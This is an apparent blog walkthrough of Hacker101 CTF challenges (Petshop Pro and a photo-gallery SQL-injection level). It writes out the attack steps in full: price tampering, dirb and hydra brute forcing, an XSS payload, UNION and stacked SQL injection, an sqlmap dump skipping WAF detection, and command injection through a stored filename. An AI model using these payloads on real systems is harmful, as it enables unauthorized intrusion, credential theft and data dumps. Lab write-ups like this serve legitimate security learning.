Hi, i will be doing a walkthrough on Petshop Pro from HackerOne. The difficulty is on easy level, so it should not have much problem.

Flag 0: Found

Hint:

• Something looks out of place with checkout
• It’s always nice to get free stuff

First start of by playing around with the UI and view each page’s source code.

Here are some of useful information that have collected:

• There are 3 pages in the site, ‘homepage’, ‘cart’ and ‘checkout’ page
• By clicking ‘Add to Cart’, item will be added to ‘cart’ page
• Viewing source code of the ‘cart’ page, hidden value is added.

value="[[0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc": "8\"x10\" color glossy photograph of a kitten."}]

This value is encoded as html, although we can read some of the data. But still we should decode it fully.

<input type="hidden" name="cart" value="[[0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc": "8\"x10\" color glossy photograph of a kitten."}]]">

As I observer there are a few values is recorded, ‘logo’, ‘price’, ‘name’ and ‘desc’. Maybe we can change some of the data in the hidden field. In that case, we need burpsuite to help us.

As I am using google chrome, i need to change the proxy setting in the system.

For burqsuite setting

All done with the basic setting, lets click on ‘Check Out’ button and …

Look the hidden data is POST to ‘checkout’ page. Hmm…what if we change the hidden data…(change the price to ‘0’ since the hint is telling us something)

Found our first flag!! ez~~ 🐈🐈🐈

Flag1: Found

Hint:

• There must be a way to administer the app
• Tools may help you find the entrypoint
• Tools are also great for finding credentials

With the hints given,  we know that there should be an admin page and somehow find the credentials for it? As all the page name can be vary, brute-forcing the page name can be a good idea.

dirb http://35.227.24.107/b02f939d67/ /usr/share/wordlists/dirb/common.txt

As the result given above, there are a few hidden pages. And particularly ‘login’ page with status code of 200 interest me a lot.

Let try out some basic credentials first.

Look like it has point out the username is wrong specifically. MORE BRUTE-FORCING!!!!

Hydra always come in  handy in brute forcing. Not only it can be use in Http/s and also different services such as ftp, ssh, telnet & etc.

hydra -L rockyou.txt -p idk -t 20 35.227.24.107 http-post-form "/b02f939d67/login:username=^USER^&password=^PASS^:Invalid username"

hydra -l sandy -P rockyou.txt -t 64 35.227.24.107 http-post-form "/b02f939d67/login:username=^USER^&password=^PASS^:Invalid password"

username=sandy

password=macintosh

Now, we got both username and password. Let’s login!!

Got the flag!! 🚩🚩 Of cause there are other ways to brute-force this. But for me this is the easiest method

Flag 2: Found

hint given:

• Always test every input
• Bugs don’t always appear in a place where the data is entered

With the hint given, I know that has to be something to do with input fields. When comes to input, most common attack is XSS!!

Under ‘edit’ page, there are a few input box

Not very sure what to put in, so I tried a basic one

<img src=x onload=alert(1)>

Then save the edited information, and I browse around the site look for possible clues.

Found the third flag on ‘cart’ page!!! 😂😂

Anyways, Merry Christmas guy!! Thanks for reading the post!! 🎄🎄🎄🎅🎅

For this challenge, We need to have some basic knowledge/understanding of SQL injection to find the flags

Flag 0: Found

We were given 2 images of cute kittens and 1 invisible image which can’t be loaded

Hmm… Nothing to interact on the page. Let’s check out the source code then

<div><div><img src="fetch?id=1" width="266" height="150"><br>Utterly adorable</div><div><img src="fetch?id=2" width="266" height="150"><br>Purrfect</div><div><img src="fetch?id=3" width="266" height="150"><br>Invisible</div><i>Space used: 0 total</i></div>

I notice how the images is retrieved. “fetch” method is used to get the image data and id is used to identify each image.

Let’s try this -> x.x.x.x/22d9298ab6/fetch?id=1

We got the image data of ID 1 as expected, but nothing special

Let’s check out the hints

• Consider how you might build this system yourself. What would the query for fetch look like?
• Take a few minutes to consider the state of the union
• This application runs on the uwsgi-nginx-flask-docker image

Given the third hint, I knew I need to look at .ini file. https://uwsgi-docs.readthedocs.io/en/latest/Configuration.html#ini-files

So, I did a union select

fetch?id=4 UNION SELECT ‘uwsgi.ini’ —

• Putting ID as 4, because I am not interested in the image data.
• Using UNION to join 2 SELECT statement together and calls the ‘uwsgi.ini’

This is the result 
[uwsgi] 
module = main 
callable = app 

With this, we know that the module/filename is called ‘main’.

fetch?id=4 UNION SELECT ‘main.py’ —

The site should us the content of ‘main.py’

First flag is found! easy?

Flag 1: found

After close inspection of the ‘main.py’, we can collect/list out the useful information in the code.

• host=”localhost”
• user=”root”
• password=””
• db=”level5″

‘SELECT id, title FROM albums’ – 2 columns called ‘id’ & ‘title’ and table name called ‘albums’

‘SELECT id, title, filename FROM photos’ – Give us the info that there is 3 columns called ‘id’, ‘title’ & ‘filename’ and table name is called ‘photos’

With all these information, we can roughly figure out the architecture of the db ‘level5’

With these we can use SQLMap to the rest for us https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

Dumping the photo table

sqlmap -u "http://35.190.155.168/73f5aeb9ff/fetch?id=1" --method GET --dump -D level5 -T photos -p id --code 200 --skip-waf --random-agent --threads 10 -o

• –skip-waf: Skip heuristic detection of WAF/IPS protection
• –random-agent: Use randomly selected HTTP User-Agent header value (/usr/share/sqlmap/data/txt/user-agents.txt)
• –threads: Max number of concurrent HTTP(s) requests (retrieve the data faster)

That’s done, we got the flag using the “easy” way. To be continue with the hard way…

Flag 2: Found

Disclaimer: I read up on other people’s write-ups and explain with my own understanding.

Hints given:

• That method of finding the size of an album seems suspicious
• Stacked queries rarely work. But when they do, make absolutely sure that you’re committed
• Be aware of your environment

In ‘main.py’, there is one line of code which calls function ‘du’ to check the disk usage.

subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1]

‘%s’ is refer to this ‘% ‘ ‘.join(‘files/’ + fn for fn in fns)’

du -ch files/[list of filenames] || exit 0

Given the second hint, we need to do stacked queries. By looking at the current command. We need to somehow control the ‘fn’ value in the ‘fns’

cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
     rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
     fns.append(pfn)

From above line, we can see that ‘fns’ list is filled with values called ‘pfn’. Where does is ‘pfn’ come from?

In cur.execute, select statement is performed where 3 values, ‘id’, ‘title’ and ‘filename’ is retrieved from table ‘photos’. Then reassign into ‘pid’, ‘ptitle’ and ‘pfn’. So, as long as we control the ‘filename’ in photos table, we should be one step closer to the flag.

fetch?id=1;UPDATE photos SET title='test' WHERE id=3;COMMIT;--

Successfully update the id 3’s title to ‘test’

Now, we want to test the stacked queries use the ‘filename’ as entry point.

fetch?id=1;UPDATE photos SET filename='* || ls > test.txt' WHERE id=3;COMMIT;--

fetch?id=5 union select 'test.txt'--

Look, list of file is appended into ‘test.txt’ which means the stacked queries works!

With this, we can perform all kind of command as long as we append and fetch the result from the file.

With the last hint in place, what could be the environment be?

fetch?id=1;UPDATE photos SET filename='* || env > test.txt' WHERE id=3;COMMIT;--

yeaaaaaa! We have successfully find all 3 flags in the environment 🚩🚩🚩